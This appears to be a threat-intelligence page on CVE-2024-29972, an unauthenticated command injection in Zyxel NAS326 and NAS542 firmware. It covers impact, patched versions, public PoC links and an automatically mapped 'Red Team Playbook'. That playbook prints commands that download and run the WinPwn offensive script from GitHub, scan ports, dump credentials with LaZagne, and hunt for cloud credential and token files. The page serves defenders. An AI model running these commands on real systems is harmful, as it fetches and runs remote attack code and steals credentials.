CVE-2024-29972
Overview
This vulnerability is a command injection flaw rooted in improper input validation within the CGI program "remote_help-cgi" of Zyxel NAS326 and NAS542 firmware. The affected component fails to sanitize user-supplied data in HTTP POST requests, allowing injection of arbitrary OS commands. The flaw exists in firmware versions prior to V5.21(AAZF.17)C0 for NAS326 and V5.21(ABAG.14)C0 for NAS542.
Vulnerability Description
** UNSUPPORTED WHEN ASSIGNED ** The command injection vulnerability in the CGI program "remote_help-cgi" in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
Impact
An unauthenticated remote attacker can execute arbitrary operating system commands on affected Zyxel NAS devices by sending crafted HTTP POST requests to the vulnerable CGI endpoint. This enables full compromise of the device, including data theft, service disruption, or lateral movement within a network. The attack requires only network access to the device’s management interface and no user interaction, as reflected in the CVSS vector (AV:N/AC:L/PR:N/UI:N).
Solution
Zyxel has released firmware updates addressing this vulnerability in NAS326 version V5.21(AAZF.17)C0 and NAS542 version V5.21(ABAG.14)C0. Administrators should apply these specific firmware versions promptly. Detailed patch instructions and advisory information are available at Zyxel’s official security advisory page: https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-nas-products-06-04-2024
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The command injection vulnerability present in the CGI program "remote_help-cgi" within specific firmware versions of Zyxel NAS326 and NAS542 devices allows an unauthenticated attacker to execute arbitrary operating system commands. This flaw arises from improper validation of user input in HTTP POST requests, which can be manipulated to inject malicious commands. When the CGI program processes these requests, it fails to adequately sanitize the input, leading to the execution of unintended commands on the underlying operating system. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that could be exploited with minimal effort.
Attack vectors for this vulnerability primarily involve sending crafted HTTP POST requests to the affected devices. An attacker could exploit this flaw remotely, without needing any form of authentication, making it particularly dangerous. For instance, an attacker could craft a request that includes malicious payloads designed to execute system commands, potentially allowing them to gain unauthorized access to sensitive data, alter system configurations, or even take control of the device. Scenarios could range from simple data exfiltration to deploying malware or ransomware, significantly compromising the integrity and availability of the affected systems.
The real-world impact of this vulnerability can be profound, especially for organizations that rely on Zyxel NAS devices for data storage and management. If exploited, an attacker could gain access to confidential information, disrupt business operations, and cause reputational damage. The financial implications could be severe, including costs associated with incident response, system recovery, and potential legal liabilities stemming from data breaches. Furthermore, the risk extends beyond the immediate organization, as compromised devices could be leveraged for broader attacks, affecting customers and partners.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular firmware updates are crucial; ensuring that devices are running the latest versions can protect against known vulnerabilities. Network monitoring tools can help identify unusual HTTP traffic patterns that may indicate exploitation attempts. Additionally, organizations should employ intrusion detection systems (IDS) to alert on suspicious activities related to command execution. Access controls should be enforced to limit exposure of the vulnerable CGI program, and firewalls can be configured to restrict access to the management interfaces of the NAS devices.
In conclusion, the command injection vulnerability in the Zyxel NAS326 and NAS542 firmware represents a significant threat to organizations utilizing these devices. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention. By prioritizing firmware updates, enhancing network security measures, and fostering a culture of cybersecurity awareness, organizations can better defend against such vulnerabilities and mitigate the associated risks.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the Zyxel NAS326 and NAS542 command injection vulnerability (CVE-2024-29972). Our telemetry indicates a recent surge in activity, reflecting increased attacker interest and potential weaponization. Concurrently, the EPSS score has inched upward, signaling a growing likelihood of exploitation in the wild. Notably, new proof-of-concept exploits have emerged on public repositories, lowering the barrier for threat actors to develop functional attack tools. This evolving landscape elevates the threat level, as the vulnerability’s critical severity combined with expanding exploit availability increases the risk of widespread compromise. Defenders should recognize that the window for opportunistic attacks is widening, underscoring the urgency of monitoring and response efforts.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Nas326 Firmware | All |
cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
|
|
|
Zyxel | Nas542 Firmware | All |
cpe:2.3:o:zyxel:nas542_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Pommaq/CVE-2024-29972-CVE-2024-29976-CVE-2024-29973-CVE-2024-29975-CVE-2024-29974-poc
This is a proof of concept for the Zyxel vulnerabilities I found. Read the blog :)
|
Pommaq | 4 | 0 | 2024-06-30 | View |
|
WanLiChangChengWanLiChang/CVE-2024-29972
|
WanLiChangChengWanLiChang | 1 | 1 | 2024-06-20 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-29972 |
| zyxel.com |
GitHub CVE
vendor-advisory
|
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities-in-nas-products-06-04-2024 |
| outpost24.com |
GitHub CVE
|
https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/ |